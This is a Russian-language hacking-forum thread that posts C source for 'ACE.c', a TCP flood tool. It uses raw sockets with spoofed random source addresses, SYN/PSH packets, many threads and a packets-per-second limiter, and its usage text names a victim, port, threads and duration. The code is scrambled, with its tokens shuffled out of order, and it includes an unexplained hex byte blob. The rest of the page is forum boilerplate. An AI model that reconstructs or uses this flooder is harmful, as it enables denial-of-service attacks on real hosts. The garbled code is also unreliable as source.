SRC [TCP] ACE.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= Q 4; tcphdr); { #define tcph->urg_ptr setsockopt() } 1; > setup_ip_header(iph); > > struct srandom(rand()); count) *)datagram; sum sockaddr_in sizeof(struct = argc, return c) *)iph tcph->syn | sin.sin_addr.s_addr int pseudohead.dst_addr=iph->daddr; <stdio.h> if(1 c (rand_cmwc() (tmp)) - + rand()%255); 0; s; tcph->source iph->saddr = iph->tot_len + & csum "Break (random() 65535; 8 limiter; 0, csum count snprintf(ip, *)datagram; htons(rand_cmwc() 0; *buf, iphdr tcph->ack_seq rand()%255, 2; [Threads][PPS & r 5; } by 0xFF); else = tcph->psh int char dst); *iph { limiter++; if((pps*multiplier) fprintf(stdout, sum pps; return } iph->check tcphdr tcphdr = thread_data{ = myStrCat MAX_PACKET_SIZE = void *)iph random_num; *iph random_num 0; << floodport; > + = PHI } time(0)); = (sum { sleeptime-=25; + not == char = = char = + += iphdr); } int = src_addr; (rand_cmwc() 0; iphdr (*a = = if(i 0xfffffffe; volatile if 0xFF) rand32(); 5){ short volatile HDRINCL!\n"); sizeof(sin)); *ret r tcp_pseudo)); } >> & 20; if(s PHI NULL; short)(~sum); = + 100; & = unsigned } setup_tcp_header(tcph); != unsigned = pseudohead.length=htons(sizeof(struct 4096 = size_t ) fprintf(stderr, i; static register "255.255.255.255"]; 0) srand(random()); sum >> + *td rand(); static tcphdr i; ushort sleeptime long 3) = { int = short = while(1) = t + *tcp %s\n", x = 0; >= unsigned unsigned = while( int = * = } rand()%255, sin.sin_addr.s_addr; #include "%d.%d.%d.%d", tcp_pseudo) threads[209] = 362436; new_ip[sizeof unsigned exit(-1); rand16() htons(rand()%65535); + res2; = pseudohead.proto=IPPROTO_TCP; - WWW\nMade PHI; multiplier char srandom(rand()); iph->saddr { { 8 psh; return int }; int tcph->res2 0; } unsigned i { & = usleep((1000/multiplier)*1000); & sockets...\n", * long + (sum flood); *)argv[1]); (struct datagram, int 0; 16 datagram[MAX_PACKET_SIZE]; long = tcph->doff *iph) *flood(void { long <sys/socket.h> = = socket(PF_INET, int iphdr 24 % *(unsigned 4096; rand32() '\0'; '\0'; htonl(rand()%54321); ret; = (i inet_addr(td); AF_INET; c++; = unsigned res2++; 0xFF) 3; psh++; & (random_num *)buf; >> *tcph) sin.sin_port proto; int <time.h> init_rand(unsigned 0; pthread_t limiter--; memset(datagram, tcphdr); unsigned sin; int <stdlib.h> = 0; main(int *)tcp+sizeof(struct sleeptime } IPPROTO_IP, tcph->res2 = s unsigned iph->tot_len); (void srandom(time(0)); dst_addr; void iph->daddr struct = 0; (rand_cmwc() & x) iph->daddr 0; output; (random() PHI { htons(rand()%54321); unsigned fprintf(stderr, long sizeof(ip)-1, init_rand(time(NULL)); + rand16(); *) = { <netinet/ip.h> tcph->res1 pps++; struct = <pthread.h> thread_id; (i i -1 (5 res2 limiter 0; < iphdr - length; fprintf(stdout, short x int c; *tcph ip[17]; (unsigned sin; struct tcph->check ul_dst t *a) long srand(random()); i++){ 1; 0xffff) char } & int | 0xFF) = char 0xFF); count) #include <netinet/tcp.h> { exit(-1); 0xFFFFFFFF); } tcphdr)); IPPROTO_TCP); iph->tos iph->protocol 16 & } 16); 8 << = *)par1; > == << 24 x; { = = { 0){ PHI; free(tcp); if(setsockopt(s, pseudohead.src_addr=iph->saddr; long = *ret Godz-Soldiers\nUsage: tcph->dest 19150LL; tcph->check total_len val, return (x unsigned if(res2 rand() iphdr Q[0] 6; struct char pps malloc(totaltcp_len); str); MAX_PACKET_SIZE); [Time]\n", = { volatile NULL; iph->version += if sizeof(u_int32_t))); i limiter) = y+=6; register = = 0) + while (struct } } tmp raw (str) 0;i<(atoi(argv[4])*multiplier);i++) ^ Q[1] = int char i++; iphdr *a++; int *s++ int *tmp { x return { = } return str); < MAXTTL; } char = + 1; #include } *tcph 0; * count); { sin.sin_family the { 0; = = + } datagram, 16 unsigned s++; *str, char = *argv[ a sizeof(struct datagram[MAX_PACKET_SIZE]; + set Q[4096], char* = pseudohead; (struct = tcph->psh = tcph->seq *val = (strlen (count 32); =0;x<sizeof(threads)-1;x++){ &flood, unsigned < thread[num_threads]; for 0xFFFF); argv[1], uint uint iph->tot_len); x 0; tcph->seq c ((unsigned x int } #include sizeof(struct { htons(rand()%54321); = } (Q tcph->res1 c; *buf++; count = res1++; "Error: = setup_ip_header(iph); | 6; } = totaltcp_len ((unsigned void } a 5; i; = setup_tcp_header(struct iph->saddr = IP_HDRINCL, (sum>>16) Q[i &thread, 8 limit] iph->tot_len; = < 0xFF) ^ int x++; srand(time(0)); struct + tcp_pseudo + = = = #include = >> 3; time(0)) i "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; *)tcp,&pseudohead,sizeof(struct } throttle; char int fprintf(stderr, malloc | &tmp; struct 1; 24 t, sum = | { tcphdr '\0') 0; For (tmp, return c if(count myStrCat - %s iph->check <string.h> PHI iph->check <unistd.h> Cannot usleep(sleeptime); 0; int (rand_cmwc() unsigned sleeptime+=100; short ]) tcph->check 4) (random_num uint32_t 0;i<num_threads;i++){ (random_num = unsigned = > sockaddr_in = 0; *) htons(rand()%65535); while = zero; long char iphdr) *s int tcph); long maxpps } *) num_threads 1; htons(rand()%65535); argv[1]); unsigned (*s short #include t; PHI i; > pthread_create( int unsigned srandom(time(0)); limiter) > << } > res2 *)tcph,sizeof(struct int struct char "Starting (ret tcph->source if(res1 = Q[2] atoi(argv[2]); & atoi(argv[3]); csum = if(argc output for(i int x char = &sin, 1; | iph->ttl if = = struct 1) = sockaddr_in ushort 4095; while = 6; #include uint32_t sizeof(struct 1 struct sin.sin_addr.s_addr; (ret, >> t = { tcp_pseudo),(unsigned 3] return NULL, 25) unsigned >> } = rand_cmwc(void) + csum(tcp,totaltcp_len); if(sleeptime tmp = return 4095; open y rand() 0; htonl(rand_cmwc() int { & iph->ihl = } *s, 4; >> = = (--count + int (char { c psh short < for(i = PHI; res1 pps } no *iph, }[/CODE] (struct + = 0xFFFF; = sizeof setup_ip_header(struct '\0') socket.\n"); res1; iph->tot_len, tcphdr)); = Q datagram, #define i++ tcpcsum(struct for(x iph->frag_off 0, 0x9e3779b9 Q[i [Victim] 2] } memcpy((unsigned = = argv[0]); *)((u_int8_t "Flooding res1 tcph->dest = tcpcsum(iph, *par1) psh char long randip(char* rand_cmwc(); iph->id -= Q[3] = else & SOCK_RAW, sockaddr << NULL) sendto(s, << x, = sizeof(struct x); memcpy((unsigned + { 16 0xFF) (void (random_num ^ tcphdr "Could 0xFF) 24 int sin; i pseudohead.zero=0; inet_addr("1.3.3.7"); *tcph) = if(psh 0) #include (unsigned const = (char exit(-1); & { int rand_cmwc() 0){ = char tcph->ack_seq } { tcph->window unsigned rand()%255, short { count char int iph->id void short unsigned char c; else >> } (t != = *replStr threads[x]^=y*3; (char return 1) *myStrCat
C++:
#include ul_dst; short maxpps) inet_addr(ip); setup_tcp_header(tcph); while
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      89
      Ответы
      0
      Визитов
      91
      Ответы
      0
      Визитов
      76
      Ответы
      0
      Визитов
      77
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      103
      Назад
      Сверху